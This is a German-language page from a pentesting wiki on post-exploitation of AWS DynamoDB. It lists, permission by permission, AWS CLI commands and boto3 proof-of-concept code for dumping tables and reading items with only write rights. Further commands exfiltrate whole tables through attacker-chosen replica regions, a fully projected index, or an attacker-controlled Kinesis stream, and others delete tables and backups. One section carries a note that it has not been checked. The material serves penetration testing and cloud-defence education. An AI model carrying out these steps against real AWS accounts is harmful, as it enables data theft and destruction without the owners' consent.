# AWS - DynamoDB Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## DynamoDB Für weitere Informationen siehe: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` Ein attacker mit diesen Berechtigungen kann **items aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese erhalten, indem du die Tabellen-Metadaten abrufst (`describe-table`)). {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { "ProductCatalog" : { // This is the table name "Keys": [ { "Id" : { // Primary keys name "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those } } ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb batch-get-item \ --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ --region ``` {{#endtab }} {{#endtabs }} **Mögliche Auswirkung:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle ### `dynamodb:GetItem` **Ähnlich zu den vorherigen Berechtigungen** ermöglicht diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des Eintrags zum Abrufen bekannt ist: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { "N": "205" } } ``` Mit dieser Berechtigung ist es auch möglich, die Methode **`transact-get-items`** wie folgt zu verwenden: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json // With a.json [ { "Get": { "Key": { "Id": {"N": "205"} }, "TableName": "ProductCatalog" } } ] ``` **Potentielle Auswirkungen:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle ### `dynamodb:Query` **Ähnlich wie bei den vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des abzurufenden Eintrags vorliegt. Es ermöglicht die Verwendung eines [Teils der Vergleichsoperatoren](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", sodass man nicht per Vergleich die gesamte Datenbank in einer Anfrage erhalten kann. {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json // With a.json { "Id" : { "ComparisonOperator":"EQ", "AttributeValueList": [ {"N": "205"} ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb query \ --table-name TargetTable \ --key-condition-expression "AttributeName = :value" \ --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Mögliche Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle ### `dynamodb:Scan` Mit dieser Berechtigung können Sie die gesamte Tabelle einfach dumpen. ```bash aws dynamodb scan --table-name #Get data inside the table ``` **Mögliche Auswirkung:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle ### `dynamodb:PartiQLSelect` Mit dieser Berechtigung können Sie die gesamte Tabelle einfach dumpen. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` Diese Berechtigung erlaubt außerdem, `batch-execute-statement` wie folgt auszuführen: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` aber du musst den Primärschlüssel mit einem Wert angeben, daher ist das nicht sehr nützlich. **Mögliche Auswirkungen:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` Diese Berechtigung ermöglicht einem Angreifer, **die gesamte Tabelle in einen S3-Bucket seiner Wahl zu exportieren**: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ --s3-bucket \ --s3-prefix \ --export-time \ --region ``` Beachte, dass dafür die Tabelle point-in-time-recovery aktiviert sein muss. Du kannst prüfen, ob die Tabelle das hat mit: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` Wenn es nicht aktiviert ist, müssen Sie **es aktivieren** und dafür benötigen Sie die **`dynamodb:ExportTableToPointInTime`**-Berechtigung: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` **Mögliche Auswirkungen:** Indirektes privesc durch Auffinden sensibler Informationen in der Tabelle ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es anschließend in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Berechtigungen **Informationen** aus den Backups einsehen, die **nicht mehr in der Produktions-Tabelle** vorhanden sind. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` **Potentielle Auswirkung:** Indirect privesc durch Auffinden sensibler Informationen in der Tabellensicherung ### `dynamodb:PutItem` Diese Berechtigung erlaubt Benutzern, ein **neues Item in die Tabelle einzufügen oder ein vorhandenes Item** durch ein neues Item zu ersetzen. Wenn bereits ein Item mit demselben Primärschlüssel existiert, wird das **gesamte Item durch das neue Item ersetzt**. Existiert der Primärschlüssel nicht, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { "Id": { "S": "1000" }, "Name": { "S": "Marc" }, "Description": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Potentielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/bypasses, da dadurch Daten in einer DynamoDB-Tabelle hinzugefügt oder geändert werden können ### `dynamodb:UpdateItem` Diese Berechtigung erlaubt Benutzern, **vorhandene Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen**. Sie ersetzt **nicht** das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle existiert, wird die Operation ein **neues Item erstellen** mit dem angegebenen Primärschlüssel und die in der Update-Expression angegebenen Attribute setzen. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ --key file://key.json --update-expression "SET Description = :value" \ --expression-attribute-values file://val.json ### With key.json: { "Id": { "S": "1000" } } ### and val.json { ":value": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ --key '{"Id": {"S": "1"}}' \ --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Potentielle Auswirkungen:** Ausnutzung weiterer vulnerabilities/bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern ### `dynamodb:DeleteTable` Ein Angreifer mit dieser Berechtigung kann **eine DynamoDB-Tabelle löschen, was zu Datenverlust führt**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` **Mögliche Auswirkungen**: Datenverlust und Unterbrechung von Diensten, die von der gelöschten Tabelle abhängen. ### `dynamodb:DeleteBackup` Ein Angreifer mit dieser Berechtigung kann **ein DynamoDB-Backup löschen, was im Falle eines Disaster-Recovery-Szenarios potenziell zu Datenverlust führen kann**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` **Potential impact**: Datenverlust und Unfähigkeit, im Disaster-Recovery-Fall aus einem Backup wiederherzustellen. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: Prüfen, ob das tatsächlich funktioniert Ein Angreifer mit diesen Berechtigungen kann **einen Stream auf einer DynamoDB-Tabelle aktivieren, die Tabelle aktualisieren, damit Änderungen gestreamt werden, und dann auf den Stream zugreifen, um Änderungen an der Tabelle in Echtzeit zu überwachen**. Dies erlaubt dem Angreifer, Datenänderungen zu überwachen und zu exfiltrieren, was möglicherweise zu data leakage führt. 1. Einen Stream auf einer DynamoDB-Tabelle aktivieren: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` 2. Beschreibe den Stream, um die ARN und andere Details zu erhalten: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` 3. Erhalte den Shard-Iterator mithilfe der Stream-ARN: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` Verwende den shard iterator, um auf den stream zuzugreifen und exfiltrate data from the stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` **Potential impact**: Echtzeit-Überwachung und Datenabfluss der Änderungen an der DynamoDB-Tabelle. ### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` Ein Angreifer mit nur `dynamodb:UpdateItem` auf einer Tabelle kann Items lesen, ohne eine der üblichen Lese-Berechtigungen (`GetItem`/`Query`/`Scan`), indem er ein harmloses Update durchführt und `--return-values ALL_OLD` anfragt. DynamoDB gibt das vollständige Vor-Update-Abbild des Items im Feld `Attributes` der Antwort zurück (dies verbraucht keine RCUs). - Minimale Berechtigungen: `dynamodb:UpdateItem` auf der Zieltabelle/Key. - Voraussetzungen: Sie müssen den Primärschlüssel des Items kennen. Beispiel (fügt ein harmloses Attribut hinzu und exfiltrates das vorherige Item in der Antwort): ```bash aws dynamodb update-item \ --table-name \ --key '{"":{"S":""}}' \ --update-expression 'SET #m = :v' \ --expression-attribute-names '{"#m":"exfil_marker"}' \ --expression-attribute-values '{":v":{"S":"1"}}' \ --return-values ALL_OLD \ --region ``` Die CLI-Antwort enthält einen `Attributes`-Block, der das vollständige vorherige Item (alle Attribute) enthält und damit effektiv eine Leseprimitive aus reinem Schreibzugriff bereitstellt. **Potentielle Auswirkungen:** Beliebige Items aus einer Tabelle mit nur Schreibberechtigungen lesen, wodurch die Exfiltration sensibler Daten möglich wird, wenn Primärschlüssel bekannt sind. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` Heimliche Exfiltration durch Hinzufügen einer neuen Replica-Region zu einer DynamoDB Global Table (version 2019.11.21). Kann ein principal eine regionale Replik hinzufügen, wird die gesamte Tabelle in die vom Angreifer gewählte Region repliziert, von der aus der Angreifer alle Items lesen kann. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} ```bash # Add a new replica Region (from primary Region) aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": ""}}]' \ --region # Wait until the replica table becomes ACTIVE in the replica Region aws dynamodb describe-table --table-name --region --query 'Table.TableStatus' # Exfiltrate by reading from the replica Region aws dynamodb scan --table-name --region ``` {{#endtab }} {{#tab name="PoC (customer-managed KMS)" }} ```bash # Specify the CMK to use in the replica Region aws dynamodb update-table \ --table-name \ --replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \ --region ``` {{#endtab }} {{#endtabs }} Berechtigungen: `dynamodb:UpdateTable` (mit `replica-updates`) oder `dynamodb:CreateTableReplica` auf der Ziel-Tabelle. Wenn in der Replik ein CMK verwendet wird, können KMS-Berechtigungen für diesen Schlüssel erforderlich sein. Mögliche Auswirkungen: Vollständige Tabellenreplikation in eine von einem Angreifer kontrollierte Region, was zu heimlicher Datenexfiltration führt. ### `dynamodb:TransactWriteItems` (Lesen via fehlgeschlagene Bedingung + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) Ein Angreifer mit transaktionalen Schreibberechtigungen kann die vollständigen Attribute eines bestehenden Items exfiltrieren, indem er ein `Update` innerhalb von `TransactWriteItems` durchführt, das absichtlich eine `ConditionExpression` fehlschlagen lässt, während `ReturnValuesOnConditionCheckFailure=ALL_OLD` gesetzt ist. Im Fehlerfall fügt DynamoDB die vorherigen Attribute in die Gründe für die Transaktionsstornierung ein und verwandelt damit effektiv nur-Schreibzugriff in Lesezugriff auf die angezielten Schlüssel. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} ```bash # Create the transaction input (list form for --transact-items) cat > /tmp/tx_items.json << 'JSON' [ { "Update": { "TableName": "", "Key": {"": {"S": ""}}, "UpdateExpression": "SET #m = :v", "ExpressionAttributeNames": {"#m": "marker"}, "ExpressionAttributeValues": {":v": {"S": "x"}}, "ConditionExpression": "attribute_not_exists()", "ReturnValuesOnConditionCheckFailure": "ALL_OLD" } } ] JSON # Execute. Newer AWS CLI versions support returning cancellation reasons aws dynamodb transact-write-items \ --transact-items file:///tmp/tx_items.json \ --region \ --return-cancellation-reasons # The command fails with TransactionCanceledException; parse cancellationReasons[0].Item ``` {{#endtab }} {{#tab name="PoC (boto3)" }} ```python import boto3 c=boto3.client('dynamodb',region_name='') try: c.transact_write_items(TransactItems=[{ 'Update': { 'TableName':'', 'Key':{'':{'S':''}}, 'UpdateExpression':'SET #m = :v', 'ExpressionAttributeNames':{'#m':'marker'}, 'ExpressionAttributeValues':{':v':{'S':'x'}}, 'ConditionExpression':'attribute_not_exists()', 'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}]) except c.exceptions.TransactionCanceledException as e: print(e.response['CancellationReasons'][0]['Item']) ``` {{#endtab }} {{#endtabs }} Berechtigungen: `dynamodb:TransactWriteItems` auf der Ziel-Tabelle (und dem zugrunde liegenden Item). Es sind keine Lese-Berechtigungen erforderlich. Mögliche Auswirkungen: Beliebige Items (per Primärschlüssel) aus einer Tabelle lesen, indem nur transaktionale Schreibrechte über die zurückgegebenen Abbruchgründe verwendet werden. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI Umgehung von Leseeinschränkungen, indem man einen Global Secondary Index (GSI) mit `ProjectionType=ALL` auf einem Attribut mit niedriger Entropie erstellt, dieses Attribut über alle Items hinweg auf einen konstanten Wert setzt und dann den Index per `Query` abruft, um die vollständigen Items zu erhalten. Das funktioniert selbst dann, wenn `Query`/`Scan` auf der Basistabelle verweigert wird, solange Sie den Index-ARN abfragen können. - Minimale Berechtigungen: - `dynamodb:UpdateTable` auf der Ziel-Tabelle (um den GSI mit `ProjectionType=ALL` zu erstellen). - `dynamodb:UpdateItem` auf den Schlüsseln der Ziel-Tabelle (um das indizierte Attribut bei jedem Item zu setzen). - `dynamodb:Query` auf die Index-Ressourcen-ARN (`arn:aws:dynamodb:::table//index/`). Schritte (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1 for i in 1 2 3 4 5; do \ aws dynamodb put-item --table-name HTXIdx \ --item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \ --region us-east-1; done # 2) Add GSI on attribute X with ProjectionType=ALL aws dynamodb update-table --table-name HTXIdx \ --attribute-definitions AttributeName=X,AttributeType=S \ --global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \ --region us-east-1 # Wait for index to become ACTIVE aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \ --query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus' # 3) Set X="dump" for each item (only UpdateItem on known keys) for i in 1 2 3 4 5; do \ aws dynamodb update-item --table-name HTXIdx \ --key "{\"id\":{\"S\":\"$i\"}}" \ --update-expression 'SET #x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1; done # 4) Query the index by the constant value to retrieve full items aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --key-condition-expression '#x = :v' \ --expression-attribute-names '{"#x":"X"}' \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` **Potential Impact:** Full table exfiltration durch Abfragen eines neu erstellten GSI, der alle Attribute projiziert, selbst wenn Lese-APIs der Basistabelle verweigert werden. ### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams) Ausnutzen von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich in einen vom Angreifer kontrollierten Kinesis Data Stream zu exfiltrate. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Lese-Berechtigungen auf der Tabelle erforderlich sind. Minimale Berechtigungen (Angreifer): - `dynamodb:EnableKinesisStreamingDestination` auf der Ziel-Tabelle - Optional `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`, um den Status zu überwachen - Lese-Berechtigungen auf dem vom Angreifer kontrollierten Kinesis-Stream, um Records zu konsumieren: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}} # 2) Create attacker Kinesis Data Stream aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1 aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1 # 3) Enable the DynamoDB -> Kinesis streaming destination STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \ --region us-east-1 --query StreamDescriptionSummary.StreamARN --output text) aws dynamodb enable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 # Optionally wait until ACTIVE aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \ --region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus # 4) Generate changes on the table aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item2.json --region us-east-1 # /tmp/htx_item2.json # {"id":{"S":"a2"},"secret":{"S":"s-2"}} aws dynamodb update-item --table-name HTXKStream \ --key file:///tmp/htx_key_a1.json \ --update-expression "SET #i = :v" \ --expression-attribute-names {#i:info} \ --expression-attribute-values {:v:{S:updated}} \ --region us-east-1 # /tmp/htx_key_a1.json -> {"id":{"S":"a1"}} # 5) Consume from Kinesis to observe DynamoDB images SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \ --query Shards[0].ShardId --output text) IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \ --shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text) aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json # Decode one record (Data is base64-encoded) jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq . # 6) Cleanup (recommended) aws dynamodb disable-kinesis-streaming-destination \ --table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
**Potentielle Auswirkungen:** Kontinuierliche, nahezu in Echtzeit exfiltration von Tabellenänderungen zu einem vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle. {{#include ../../../banners/hacktricks-training.md}}